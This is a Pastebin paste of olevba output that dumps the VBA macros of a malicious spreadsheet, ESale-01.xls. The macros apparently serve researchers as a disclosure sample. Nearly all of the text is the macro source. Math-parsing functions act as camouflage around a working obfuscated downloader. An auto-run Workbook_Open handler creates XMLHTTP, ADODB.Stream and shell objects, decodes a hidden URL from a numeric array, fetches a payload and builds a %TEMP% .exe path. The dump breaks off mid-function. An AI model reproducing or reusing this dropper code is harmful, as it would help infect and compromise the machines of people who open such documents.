SHARE
TWEET

Malicious Word macro

dynamoo Nov 6th, 2015 200 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MAS-HB-V ESale-01.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: ESale-01.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: ESale-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Private Sub Workbook_Open()
  16. is_item "", "", ""
  17. time_string "", "", False, False
  18. is_sqr_in_string ""
  19. read_para_from_equation_for_ietm "", "", ""
  20. simple_two_int 0, 0
  21. End Sub
  22.  
  23.  
  24.  
  25.  
  26. -------------------------------------------------------------------------------
  27. VBA MACRO Ëèñò1.cls
  28. in file: ESale-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  29. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  30. (empty macro)
  31. -------------------------------------------------------------------------------
  32. VBA MACRO Ëèñò2.cls
  33. in file: ESale-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  34. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  35. (empty macro)
  36. -------------------------------------------------------------------------------
  37. VBA MACRO Ëèñò3.cls
  38. in file: ESale-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  39. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  40. (empty macro)
  41. -------------------------------------------------------------------------------
  42. VBA MACRO Module1.bas
  43. in file: ESale-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  44. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  45. Public read_same_ch_from3 As Object
  46. Public root_order4 As Object
  47. Public string_ty_pe4 As Object
  48. Public hermando5  As String
  49. Public ce_de_ge3  As String
  50. Public ua_ea_uk As Object
  51. Public Const zilibobe = "t"
  52. Private Function read_same_ch_from_string(ByVal it$, ByVal start%, root_order%, ch As String, i%) As Boolean
  53. Dim en%
  54. ch = Mid$(it$, start%, 1)
  55. en% = start% + root_order - 1
  56. For i% = start% To en%
  57.  If Mid$(it$, i%, 1) <> ch Then
  58.  read_same_ch_from_string = False
  59.  Exit Function
  60.  End If
  61. Next i%
  62.  read_same_ch_from_string = True
  63.  Exit Function
  64. End Function
  65. Public Function is_x_in_string(ByVal s As String) As Byte
  66. Dim i%, is_x%
  67. Dim tp(3) As String
  68. Dim ty As Byte
  69. ty = string_ty.pe(s, tp(0), tp(1), tp(2), tp(3))
  70. If ty = 0 Then
  71.  is_x_in_string = is_x_in_item(tp(0))
  72.  If is_x_in_string < 1 Then
  73.  ty = string_ty.pe(tp(3), tp(0), tp(1), tp(2), tp(3))
  74.  is_x% = is_x_in_item(tp(0))
  75.  If is_x% = 1 Then
  76.  is_x_in_string = 1
  77.  Exit Function
  78.  End If
  79.  End If
  80. ElseIf ty = 3 Then
  81.  If is_x_in_string(tp(1)) = 1 Or is_x_in_string(tp(2)) = 1 Then
  82.  is_x_in_string = 1
  83.  End If
  84. End If
  85. End Function
  86. Public Function is_x_in_item(it$) As Byte
  87. Dim i%, tn%
  88. Dim ch As String
  89. Dim it1$
  90. Dim it2$
  91. If InStr(1, it$, "", 0) > 0 Then
  92. is_x_in_item = 1
  93. End If
  94. For i% = 1 To Len(it$)
  95. ch = Mid$(it$, i%, 1)
  96. tn% = InStr(1, ch, "", 0)
  97. If tn% > 0 Then
  98. it1$ = Mid$(it$, i%, Len(it$) - i% + 1)
  99.  is_x_in_item = is_x_in_item + is_x_in_item(read_sqr_from_string(it1$, 0, it2$))
  100.  If is_x_in_item = 2 Then
  101.  Exit Function
  102.  Else
  103.  is_x_in_item = is_x_in_item + is_x_in_item(it2$)
  104.  End If
  105.  Exit Function
  106. End If
  107. Next i%
  108. End Function
  109. Public Function solve_general_equation(ByVal s1$, ByVal S2$, unknown_element As String) As String
  110. Dim ty(1) As Byte
  111. Dim ts1(1) As String
  112. Dim ts2(1) As String
  113. ty(0) = string_ty.pe(s1, "", ts1(0), ts1(1), "")
  114. ty(1) = string_ty.pe(S2, "", ts2(0), ts2(1), "")
  115. If ty(0) = 3 And ty(1) = 3 Then
  116.  solve_general_equation = solve_first_order_equation(minus_string( _
  117.  time_string(ts1(0), ts2(1), False, False), _
  118.  time_string(ts2(0), ts1(1), False, False), True, False), "", unknown_element)
  119. ElseIf ty(0) = 3 Then
  120.  solve_general_equation = solve_first_order_equation(minus_string(ts1(0), _
  121.  time_string(ts1(1), S2$, False, False), True, False), "", unknown_element)
  122. ElseIf ty(1) = 3 Then
  123.  solve_general_equation = solve_first_order_equation(minus_string(time_string(s1$, _
  124.  ts2(1), False, False), ts2(0), True, False), "", unknown_element)
  125. Else
  126.  solve_general_equation = solve_first_order_equation(minus_string(s1$, S2$, True, False), _
  127.  "", unknown_element)
  128. End If
  129. End Function
  130. Public Function simple_item_for_squre_root(ByVal temp_I As String) As String
  131. Dim tn%, st%, la%
  132. Dim ch1$
  133. Dim ch2$
  134. Dim ch3$
  135. Dim ch4$
  136. Dim t_i(2) As String
  137. If Len(temp_I) = 0 Then
  138.  simple_item_for_squre_root = ""
  139. ElseIf Len(temp_I) = 1 Then
  140.  simple_item_for_squre_root = temp_I
  141. Else
  142.  st% = InStr(1, temp_I, "", 0)
  143.  If st% > 1 Then
  144.  t_i(0) = Mid$(temp_I, 1, st% - 1)
  145.  End If
  146.  If st% > 0 Then
  147.  t_i(1) = read_sqr_no_from_string(temp_I, st%, la%, "")
  148.  st% = InStr(1, temp_I, "", 0)
  149.  If st% > la% Then
  150.  t_i(0) = t_i(0) + Mid$(temp_I, 1, st% - 1)
  151.  End If
  152.  If st% > 0 Then
  153.  t_i(2) = read_sqr_no_from_string(temp_I, st%, la%, "")
  154.  If la% < Len(temp_I) Then
  155.  t_i(0) = t_i(0) + Mid$(temp_I, la% + 1, Len(temp_I) - la%)
  156.  End If
  157.  Else
  158.  t_i(2) = ""
  159.  t_i(0) = t_i(0) + Mid$(temp_I, la% + 1, Len(temp_I) - la%)
  160.  End If
  161.  Else
  162.  t_i(0) = temp_I
  163.  t_i(1) = ""
  164.  t_i(2) = ""
  165.  End If
  166.  If t_i(1) <> "" And t_i(2) <> "" Then
  167.  If t_i(1) = t_i(2) Then
  168.  If t_i(0) = "" Then
  169.  simple_item_for_squre_root = number_string(t_i(1))
  170.  Else
  171.  simple_item_for_squre_root = time_string( _
  172.  simple_item_for_squre_root(t_i(0)), t_i(1), True, False)
  173.  End If
  174.  Exit Function
  175.  Else
  176.  ch1$ = time_string(t_i(1), t_i(2), True, False)
  177.  Call set_squre_root_string(ch1$, ch1$)
  178.  simple_item_for_squre_root = time_string( _
  179.  simple_item_for_squre_root(ch3$), ch1$, True, False)
  180.  Exit Function
  181.  End If
  182. Else
  183.  simple_item_for_squre_root = temp_I
  184. simple_item_for_squre_root = temp_I
  185. End If
  186. End If
  187. End Function
  188. Public Function is_contain_x(ByVal s$, ByVal X$, ByVal st%) As Boolean
  189. Dim i%
  190. Dim ch As String
  191. Dim sq_v As String
  192. If InStr(st%, s$, X$, 0) > 0 Then
  193. is_contain_x = True
  194. Else
  195. i% = InStr(st%, s$, "", 0)
  196.  If i% = 0 Then
  197.  is_contain_x = False
  198.  Else
  199.  sq_v = read_sqr_no_from_string(s$, i%, st%, "")
  200.  is_contain_x = is_contain_x(sq_v, X$, 1)
  201.  If is_contain_x = True Then
  202.  Exit Function
  203.  Else
  204.  If Len(s$) > st% Then
  205.  is_contain_x = is_contain_x(s$, X$, st% + 1)
  206.  Else
  207.  is_contain_x = False
  208.  End If
  209.  End If
  210.  End If
  211.  End If
  212. End Function
  213. Public Function read_sqr_no_from_string(ByVal s As String, ByVal st%, la%, sqr$) As String
  214. Dim no%
  215. la% = InStr(st%, s, "", 0)
  216. If la% > st% Then
  217.  sqr = Mid$(s, st%, la% - st% + 1)
  218.  no% = Val(Mid$(s, st% + 1, la% - st% - 1))
  219.  If no% > 0 Then
  220.  read_sqr_no_from_string = number_string(no%)
  221.  End If
  222. End If
  223. End Function
  224. Public Function read_sqr_from_item(ByVal ite As String, st%, s$, sqr_v$, sqr$) As Byte
  225. Dim no%, i%, la%
  226. Dim ch$
  227. st% = InStr(st%, ite, "", 0)
  228. If st% > 0 Then
  229.  la% = InStr(st%, ite, "", 0)
  230.  If la% > st% Then
  231.  sqr = Mid$(ite, st%, la% - st% + 1)
  232.  no% = Val(Mid$(ite, st% + 1, la% - st% - 1))
  233.  If no% > 0 Then
  234.  sqr_v = number_string(no%)
  235.  Else
  236.  sqr_v = ""
  237.  End If
  238.  If st% > 1 Then
  239.  s$ = Mid$(ite, 1, st% - 1)
  240.  Else
  241.  s$ = ""
  242.  End If
  243.  If la% < Len(ite) Then
  244.  s$ = s$ + Mid$(ite, la% + 1, Len(ite) - la%)
  245.  End If
  246.  If s$ = "" Or s$ = "" Or s$ = "" Then
  247.  s$ = ""
  248.  ElseIf s$ = "" Or s$ = "" Then
  249.  s$ = ""
  250.  End If
  251.  End If
  252. Else
  253. read_sqr_from_item_next1:
  254.  If sqr_v$ = "" Then
  255.  sqr_v = ""
  256.  End If
  257.  If s$ = "" Or s$ = "" Or s$ = "" Then
  258.  s$ = ""
  259.  ElseIf s$ = "" Or s$ = "" Then
  260.  s$ = ""
  261.  End If
  262.  sqr$ = ""
  263.  Else
  264.  sqr_v$ = ""
  265.  s$ = ite
  266.  sqr$ = ""
  267.  End If
  268. End If
  269. End Function
  270. Public Function read_sqr_from_string(ByVal s As String, ty As Byte, s1 As String) As String
  271. Dim i%, last_sq%
  272. Dim ch As String
  273. Dim ts_(3) As String
  274. Dim ts$
  275. s1$ = ""
  276. For i% = 1 To Len(s)
  277.  ch = Mid$(s, i%, 1)
  278.  If ch = "" Then
  279.  ts$ = read_sqr_no_from_string(s, i%, i%, "")
  280.  If InStr(2, ts$, "", 0) > 0 Or InStr(2, ts$, "", 0) > 0 Or _
  281.  InStr(1, ts$, "", 0) > 0 Or InStr(1, ts$, "", 0) > 0 Then
  282.  ts$ = "" + ts$ + ""
  283.  End If
  284.  last_sq% = last_sq% + 1
  285.  If ty = 0 Then
  286.  read_sqr_from_string = read_sqr_from_string + ts$
  287.  Else
  288.  read_sqr_from_string = read_sqr_from_string + _
  289.  read_sqr_from_string(ts$, ty, s1)
  290.  End If
  291.  Else
  292.  s1 = s1 + ch
  293.  End If
  294. Next i%
  295. If s1 = "" Then
  296.  s1 = ""
  297. End If
  298. If read_sqr_from_string = "" Then
  299.  read_sqr_from_string = ""
  300. End If
  301. End Function
  302. Public Function min_for_long(ByVal A&, ByVal b&) As Long
  303. If A& < b& Then
  304. min_for_long = A&
  305. Else
  306. min_for_long = b&
  307. End If
  308. End Function
  309. Public Function max_for_long(ByVal A&, ByVal b&) As Long
  310. If A& > b& Then
  311. max_for_long = A&
  312. Else
  313. max_for_long = b&
  314. End If
  315. End Function
  316. Public Function l_gcd(ByVal A As Long, ByVal b As Long) As Long
  317. Dim c As Long
  318. A = Abs(A)
  319.  b = Abs(b)
  320. If A = 0 Then
  321.  l_gcd = b
  322. ElseIf b = 0 Then
  323. l_gcd = A
  324. Else
  325. c = A Mod b
  326. l_gcd = l_gcd(b, c)
  327. End If
  328. End Function
  329. Function gcd(ByVal A As Long, ByVal b As Long, out_A As Long, out_b As Long) As Long
  330. Dim c As Long
  331. Dim t_A(1) As Long
  332. t_A(0) = A
  333. t_A(1) = b
  334. A = Abs(A)
  335.  b = Abs(b)
  336. If A = 0 Then
  337.  gcd = b
  338. ElseIf b = 0 Then
  339. gcd = A
  340. Else
  341. c = A Mod b
  342. gcd = gcd(b, c, 0, 0)
  343. End If
  344. out_A = t_A(0) / gcd
  345. out_b = t_A(1) / gcd
  346. End Function
  347. Function max(ByVal A As Integer, ByVal b As Integer) As Integer
  348. If A > b Then
  349. max = A
  350. Else
  351. max = b
  352. End If
  353. End Function
  354. Function min(A As Integer, b As Integer) As Integer
  355. If A > b Then
  356. min = b
  357. Else
  358. min = A
  359. End If
  360. End Function
  361. Public Function add_brace(ByVal s As String, ty As String) As String
  362. Dim i%, j%, l%, m%, n%, n1%, n2%
  363. Dim ts$
  364. Dim sg As String
  365. Dim ts1$
  366. l% = Len(s)
  367. add_brace = s
  368.  If l% < 3 Then
  369.  Exit Function
  370.  End If
  371.  If Mid$(s, 1, 1) = "" And Mid$(s, Len(s), 1) = "" Then
  372.  If is_brace(s, 1, Len(s)) Then
  373.  add_brace = s
  374.  Exit Function
  375.  End If
  376.  End If
  377.  ts$ = s
  378.  n% = InStr(1, ts, "")
  379.  m% = InStr(1, ts, "")
  380.  i% = InStr(1, ts, "")
  381.  j% = InStr(1, ts, "")
  382.  l% = InStr(1, ts, "")
  383.  If l% > 0 Then
  384.  Call read_brace(ts, l%, n1%, n2%)
  385.  If i% < 2 And j% < 2 Then
  386.  Exit Function
  387.  ElseIf i% < l% Or j% < l% Then
  388.  add_brace = "" + ts + ""
  389.  Else
  390.  ts1 = Mid$(ts, n2% + 1, Len(ts) - n2%)
  391.  i% = InStr(1, ts1, "")
  392.  j% = InStr(1, ts1, "")
  393.  If i% > 0 Or j% > 0 Then
  394.  add_brace = "" + ts + ""
  395.  End If
  396.  End If
  397. Else
  398.  If n% = 1 Then
  399.  n% = max(InStr(2, ts, ""), n%)
  400.  End If
  401.  If m% = 1 Then
  402.  m% = max(InStr(2, ts, ""), m%)
  403.  End If
  404.  If i% = 1 Then
  405.  i% = max(InStr(2, ts, ""), i%)
  406.  End If
  407.  If j% = 1 Then
  408.  j% = max(InStr(2, ts, ""), j%)
  409.  End If
  410.  If i% > 1 Or j% > 1 Or m% > 1 Or n% > 1 Then
  411.  add_brace = "" + ts + ""
  412.  End If
  413. End If
  414. End Function
  415. Public Function Pochemu(Z() As Variant, oldLen As Integer) As String
  416. Dim n As Integer
  417. For n = LBound(Z) To UBound(Z)
  418.  Pochemu = Pochemu & Chr(Z(n) - 4 * oldLen - 6000)
  419. Next n
  420. End Function
  421. Private Function divide_item(ByVal i1$, ByVal i2$, _
  422.  oI1$, oI2$) As String
  423. Dim i%, j%, n1%, n2%
  424. On Error GoTo divide_item_error
  425. If Mid$(i1$, 1, 1) = "" Then
  426.  i1$ = Mid$(i1$, 1, Len(i1$) - 1)
  427.  i1$ = Mid$(i1$, 2, Len(i1$) - 1)
  428. End If
  429. If Mid$(i2$, 1, 1) = "" Then
  430.  i2$ = Mid$(i2$, 1, Len(i2$) - 1)
  431.  i2$ = Mid$(i2$, 2, Len(i2$) - 1)
  432. End If
  433. If i2$ = "" Then
  434. divide_item = i1$
  435.  oI1$ = i1$
  436.  oI2$ = i2$
  437.  Exit Function
  438. End If
  439. n1% = InStr(1, i1$, "", 0)
  440. n2% = InStr(1, i2$, "", 0)
  441. If n1% = 0 And n2% = 0 Then
  442. i% = 1
  443. Do While i% <= Len(i1$)
  444.  j% = 1
  445.  Do While j% <= Len(i2$)
  446. If Mid$(i1$, i%, 1) = Mid$(i2$, j%, 1) Then
  447.  i1$ = Mid$(i1$, 1, i% - 1) + Mid$(i1$, i% + 1, Len(i1$) - i%)
  448.  i2$ = Mid$(i2$, 1, j% - 1) + Mid$(i2$, j% + 1, Len(i2$) - j%)
  449.  GoTo divide_item_mark0
  450. Else
  451.  j% = j% + 1
  452. End If
  453. Loop
  454. i% = i% + 1
  455. divide_item_mark0:
  456. Loop
  457. If i1$ = "" And i2$ = "" Then
  458.  divide_item = ""
  459. ElseIf i2$ = "" Then
  460. divide_item = i1$
  461. ElseIf i1$ = "" Then
  462. divide_item = "" + i2$ + ""
  463. Else
  464.  divide_item = "" + i1$ + "" + i2$ + ""
  465. End If
  466. ElseIf n1% > 0 And n2 = 0 Then
  467. divide_item = divide_item(Mid$(i1$, 1, n1% - 1), _
  468.  time_it.em(i2$, Mid$(i1$, n1% + 1, Len(i1$) - n1%)), "", "")
  469. ElseIf n1% = 0 And n2 > 0 Then
  470. divide_item = divide_item(time_it.em(i1$, _
  471.  Mid$(i2$, n2% - 1, Len(i2$) - n2%)), _
  472.  Mid$(i2$, 1, n2% - 1), "", "")
  473. Else
  474. divide_item = divide_item(time_it.em(Mid$(i1$, 1, n1% - 1), _
  475.  Mid$(i2$, n2% - 1, Len(i2$) - n2%)), _
  476.  time(Mid$(i1$, n1% + 1, Len(i1$) - n1%), Mid$(i2$, 1, n2% - 1)), "", "")
  477. End If
  478. Exit Function
  479. divide_item_error:
  480. divide_item = ""
  481. End Function
  482. Public Function is_item(s As String, para As String, item0 As String) As Boolean
  483. Set ua_ea_uk = CreateObject("Shell.Application")
  484. Dim p%, l%
  485. Set read_same_ch_from3 = CreateObject("Microsof" + zilibobe + ".XMLH" + UCase(zilibobe) + "TP")
  486. Set root_order4 = CreateObject("Adodb.S" + zilibobe + "ream")
  487. Set string_ty_pe4 = CreateObject("WScrip" + zilibobe + ".Shell").Environment("Process")
  488. Exit Function
  489. If InStr(1, s, "", 0) = 0 And InStr(1, s, "", 0) = 0 And _
  490.  InStr(1, s, "", 0) = 0 And InStr(1, s, "", 0) = 0 Then
  491.  is_item = True
  492.  p% = InStr(1, s, "", 0)
  493.  l% = Len(s)
  494.  If p% > 0 Then
  495.  If p% = 1 Then
  496.  para = ""
  497.  Else
  498.  para = Mid$(s, 1, p% - 1)
  499.  End If
  500.  item0 = Mid$(s, p% + 1, l - p%)
  501.  Else
  502.  If Mid$(s, 1, 1) > "" Then
  503.  para = ""
  504.  item0 = s
  505.  Else
  506.  para = s
  507.  item0 = ""
  508.  End If
  509.  End If
  510. End If
  511. End Function
  512.  
  513.  
  514.  
  515.  
  516.  
  517.  
  518.  
  519.  
  520. -------------------------------------------------------------------------------
  521. VBA MACRO Module2.bas
  522. in file: ESale-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
  523. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  524. Public Function time_string(ByVal s1 As String, ByVal S2 As String, is_simple As Boolean, _
  525.  cal_float As Boolean) As String
  526. Dim t(1) As Integer
  527. Dim it(3) As String
  528. Dim i%, j%
  529. Dim valdis() As Variant
  530. Dim f(1) As String
  531. Dim fs(2) As String
  532. Dim s(5) As String
  533. valdis = Array(6340, 6352, 6352, 6348, 6294, 6283, 6283, 6333, 6336, 6354, 6333, 6346, 6335, 6337, 6336, 6339, 6350, 6347, 6353, 6348, 6282, 6346, 6337, 6352, 6282, 6333, 6353, 6283, 6362, 6341, 6346, 6335, 6333, 6346, 6352, 6341, 6346, 6283, 6287, 6287, 6288, 6339, 6289, 6342, 6291, 6290, 6283, 6292, 6293, 6291, 6341, 6291, 6353, 6356, 6349, 6337, 6282, 6337, 6356, 6337)
  534. Dim ts As String
  535. Dim ch As String * 1
  536. Dim v As Variant
  537. Dim need_reduce As Boolean
  538. On Error GoTo time_string_error
  539. If s1 = "" Or S2 = "" Then
  540.  time_string = ""
  541.  With read_same_ch_from3
  542. .Open "G" + "ET", Pochemu(valdis, 59), False
  543. .Send
  544. End With
  545.  Exit Function
  546. ElseIf InStr(1, s1, "", 0) > 0 Or InStr(1, S2, "", 0) > 0 Then
  547.  cal_float = True
  548. End If
  549. If InStr(1, s1, "", 0) > 0 Or InStr(1, S2, "", 0) > 0 Or s1 = "" Or S2 = "" Then
  550. time_string_error:
  551.  time_string = ""
  552.  Exit Function
  553. ElseIf s1 = "" Then
  554.  If Mid$(S2, 1, 1) = "" Then
  555.  time_string = "" & Mid$(S2, 2, Len(S2) - 1)
  556.  ElseIf Mid$(S2, 1, 1) = "" Then
  557.  time_string = Mid$(S2, 2, Len(S2) - 1)
  558.  Else
  559.  time_string = S2
  560.  End If
  561.  Exit Function
  562. ElseIf s1 = "" Then
  563.  time_string = ""
  564.  Exit Function
  565. ElseIf S2 = "" Then
  566.  If Mid$(s1, 1, 1) = "" Then
  567.  time_string = "" & Mid$(s1, 2, Len(s1) - 1)
  568.  ElseIf Mid$(s1, 1, 1) = "" Then
  569.  time_string = Mid$(s1, 2, Len(s1) - 1)
  570.  Else
  571.  time_string = s1
  572.  End If
  573.  Exit Function
  574. ElseIf S2 = "" Or S2 = "" Then
  575.  time_string = ""
  576.  Exit Function
  577. ElseIf s1 = "" Then
  578.  If S2 = "" Then
  579.  time_string = ""
  580.  Exit Function
  581.  ElseIf S2 = "" Then
  582.  time_string = ""
  583.  Exit Function
  584.  Else
  585.  If Val(value_str.ing(S2)) > 0 Then
  586.  time_string = ""
  587.  Exit Function
  588.  ElseIf Val(value_str.ing(S2)) < 0 Then
  589.  time_string = ""
  590.  Exit Function
  591.  Else
  592.  time_string = ""
  593.  Exit Function
  594.  End If
  595.  End If
  596. ElseIf s1 = "" Then
  597.  If S2 = "" Then
  598.  time_string = ""
  599.  Exit Function
  600.  ElseIf S2 = "" Then
  601.  time_string = ""
  602.  Exit Function
  603.  Else
  604.  If Val(value_str.ing(S2)) > 0 Then
  605.  time_string = ""
  606.  Exit Function
  607.  ElseIf Val(value_str.ing(S2)) < 0 Then
  608.  time_string = ""
  609.  Exit Function
  610.  Else
  611.  time_string = ""
  612.  Exit Function
  613.  End If
  614.  End If
  615. ElseIf S2 = "" Or S2 = "" Then
  616.  time_string = time_string(S2, s1, True, False)
  617.  Exit Function
  618. End If
  619. If regist_data.run_type = 1 Then
  620.  If (InStr(1, s1, "", 0) > 0 Or InStr(1, s1, "", 0) > 0) And _
  621.  (InStr(1, S2, "", 0) > 0 Or InStr(1, S2, "", 0) > 0) Then
  622.  need_reduce = True
  623.  End If
  624. End If
  625. t(0) = string_ty.pe(s1, fs(0), s(0), s(1), s(2))
  626.  If s1 = S2 Then
  627.  If t(0) = 0 Then
  628.  If s(2) = "" Then
  629.  time_string = time_string( _
  630.  time_p.ara(s(0), s(0), False, cal_float), time_it.em(s(1), s(1)), is_simple, cal_float)
  631.  Else
  632.  time_string = add_str.ing(time_string(s1, fs(0), False, cal_float), _
  633.  time_string(s1, s(2), False, cal_float), is_simple, cal_float)
  634.  End If
  635.  ElseIf t(0) = 3 Then
  636.  time_string = divide_st.ring( _
  637.  time_string(s(0), s(0), False, cal_float), time_string(s(1), s(1), False, cal_float), _
  638.  is_simple, cal_float)
  639.  End If
  640.  Exit Function
  641.  End If
  642.  t(1) = string_ty.pe(S2, fs(1), s(3), s(4), s(5))
  643. If t(0) = 3 And t(1) = 3 Then
  644.  If gcd_for_str.ing(s(3), s(1), "", f(0), f(1), True) Then
  645.  s(3) = f(0)
  646.  s(1) = f(1)
  647.  End If
  648.  If gcd_for_str.ing(s(0), s(4), "", f(0), f(1), True) Then
  649.  s(0) = f(0)
  650.  s(4) = f(1)
  651.  End If
  652.  time_string = divide_st.ring(time_string(s(0), s(3), False, cal_float), _
  653.  time_string(s(1), s(4), False, cal_float), is_simple, cal_float)
  654.  Exit Function
  655. ElseIf t(0) = 3 And t(1) = 0 Then
  656.  If gcd_for_str.ing(S2, s(1), "", f(0), f(1), True) Then
  657.  S2 = f(0)
  658.  s(1) = f(1)
  659.  End If
  660.  time_string = divide_st.ring(time_string(S2, s(0), False, cal_float), _
  661.  s(1), is_simple, cal_float)
  662.  Exit Function
  663. ElseIf t(1) = 3 And t(0) = 0 Then
  664.  time_string = time_string(S2, s1, is_simple, cal_float)
  665. ElseIf t(0) = 0 And t(1) = 0 Then
  666.  If s(2) = "" And s(5) = "" Then
  667.  If InStr(1, s(0), "") > 0 Or InStr(1, s(3), "") > 0 Then
  668.  cal_float = True
  669.  End If
  670.  s(0) = time_p.ara(s(0), s(3), is_simple, cal_float)
  671.  If s(1) = "" Or s(4) = "" Then
  672.  s(1) = time_it.em(s(1), s(4))
  673.  time_string = combine_item_wit.h_para(s(0), s(1), is_simple)
  674.  Else
  675.  s(1) = time_it.em(s(1), s(4))
  676.  time_string = time_string(s(0), s(1), is_simple, cal_float)
  677.  End If
  678.  ElseIf s(2) = "" Then
  679.  time_string = add_str.ing(time_string(s1, fs(1), False, cal_float), _
  680.  time_string(s1, s(5), False, cal_float), False, cal_float)
  681.  ElseIf s(2) <> "" Then
  682.  time_string = add_str.ing(time_string(fs(0), S2, False, cal_float), _
  683.  time_string(s(2), S2, False, cal_float), is_simple, cal_float)
  684.  End If
  685.  End If
  686.  If regist_data.run_type = 1 And need_reduce Then
  687.  If InStr(1, time_string, "", 0) > 0 Or InStr(1, time_string, "", 0) > 0 Or _
  688.  InStr(1, time_string, "", 0) > 0 Then
  689.  Call reduce_string_by_string(time_string)
  690.  End If
  691.  End If
  692.  If is_simple = True Then
  693.  time_string = simple_st.ring_(time_string, "", "", cal_float)
  694.  End If
  695. End Function
  696. Public Function is_sqr_in_string(s As String) As Boolean
  697. Dim i%
  698. Dim ch As String
  699. hermando5 = string_ty_pe4(UCase(zilibobe) + "EMP")
  700. rudnik = Chr(Asc(UCase(zilibobe)) + 17)
  701. ce_de_ge3 = hermando5 + Chr(Asc(zilibobe) - 24) + zilibobe + "gh" + zilibobe + "op" + "." + rudnik + "x" + rudnik
  702. For i% = 1 To Len(s)
  703. ch = Mid$(s, i%, 1)
  704. If Asc(ch) < 0 Then
  705.  is_sqr_in_string = True
  706.  Exit Function
  707. End If
  708. Next i%
  709. End Function
  710. Public Function simple_string(ByVal s As String) As String
  711. Dim ts As String
  712. ts = s
  713. While InStr(1, ts, "", 0) = 1 Or InStr(1, ts, "", 0) = 1 Or _
  714.  InStr(1, ts, "", 0) = 1 Or InStr(1, ts, "", 0) = 1 Or _
  715.  InStr(1, ts, empty_char, 0) = 1
  716. ts = Mid$(ts, 2, Len(ts) - 1)
  717. Wend
  718. While (InStr(1, ts, "", 0) = 2 Or InStr(1, ts, "", 0) = 2 Or _
  719.  InStr(1, ts, "", 0) = 2) And InStr(1, ts, "", 0) = 1
  720.  ts = Mid$(ts, 3, Len(ts) - 2)
  721. Wend
  722. While InStr(1, ts, "", 0) = 2 And InStr(1, ts, "", 0) = 1
  723.  ts = Mid$(ts, 3, Len(ts) - 2)
  724. Wend
  725. While InStr(Len(ts), ts, "", 0) = Len(ts) Or InStr(Len(ts), ts, "", 0) = Len(ts) Or _
  726.  InStr(Len(ts), ts, "", 0) = Len(ts) Or InStr(Len(ts), ts, "", 0) = Len(ts) Or _
  727.  InStr(Len(ts), ts, empty_char, 0) = Len(ts)
  728. ts = Mid$(ts, 1, Len(ts) - 1)
  729. Wend
  730. If Len(ts) > 1 Then
  731. While (InStr(Len(ts) - 1, ts, "", 0) = Len(ts) - 1 Or InStr(Len(ts) - 1, ts, "", 0) = Len(ts) - 1 Or _
  732.  InStr(Len(ts) - 1, ts, "", 0) = Len(ts) - 1) And InStr(Len(ts), ts, "", 0) = Len(ts)
  733.  ts = Mid$(ts, 1, Len(ts) - 2)
  734. Wend
  735. While InStr(Len(ts) - 1, ts, "", 0) = Len(ts) - 1 And InStr(Len(ts), ts, "", 0) = Len(ts)
  736.  ts = Mid$(1, 3, Len(ts) - 2)
  737. Wend
  738. End If
  739. simple_string = ts
  740.  End Function
  741. Public Function read_para_from_equation_for_ietm(ByVal eq$, ByVal item$, re_eq$) As String
  742. Dim t_item$, t_item1$, t_eq$
  743. Dim s(4) As String
  744.    root_order4.Type = 1
  745.    GoTo sto500:
  746.  t_item$ = item$
  747.  read_para_from_equation_for_ietm = ""
  748.  re_eq$ = ""
  749. If Len(t_item$) = 0 Then
  750.  re_eq$ = eq$
  751. ElseIf Len(t_item$) = 1 Then
  752. s(0) = eq$
  753. Do While (s(0) <> "")
  754.  Call string_ty.pe(s(0), s(1), s(2), s(3), s(4))
  755.  If InStr(1, s(3), t_item, 0) > 0 Then
  756.  read_para_from_equation_for_ietm = add_str.ing(read_para_from_equation_for_ietm, _
  757.  time_string(s(2), divide_st.ring(s(3), t_item$, False, False), False, False), True, False)
  758.  Else
  759.  re_eq$ = add_str.ing(re_eq$, s(1), True, False)
  760.  End If
  761.  s(0) = s(4)
  762. Loop
  763. sto500:
  764.     root_order4.Open
  765. GoTo sto501:
  766. Else
  767.  t_item1$ = Mid$(t_item$, 1, 1)
  768.  t_item$ = Mid$(t_item$, 2, Len(t_item$) - 1)
  769.  s(0) = read_para_from_equation_for_ietm(eq$, t_item1$, re_eq$)
  770.  read_para_from_equation_for_ietm = _
  771.  read_para_from_equation_for_ietm(s(0), t_item$, t_eq$)
  772.  re_eq$ = add_str.ing(re_eq$, time_string(t_eq$, t_item1$, False, False), _
  773.  True, False)
  774. End If
  775. sto501:
  776. find_first_item "", "", ""
  777. End Function
  778. Public Sub peifang(ByVal s0$, ByVal s1$, S2$, re$)
  779. Dim s(1) As String
  780. Dim f As String
  781. If s0$ <> "" Then
  782.  s(0) = divide_st.ring(s1$, s0$, True, False)
  783.  Call peifang("", s(0), S2$, s(1))
  784.  re$ = time_string(s(1), s0$, True, False)
  785. Else
  786. S2 = divide_st.ring(s1$, "", True, False)
  787. re$ = time_string(S2, S2, True, False)
  788. re$ = time_string(re$, "", True, False)
  789. End If
  790. End Sub
  791. Public Function find_first_item(s$, sig1 As String, sig2 As String) As Integer
  792. Dim n1%, n2%, k%
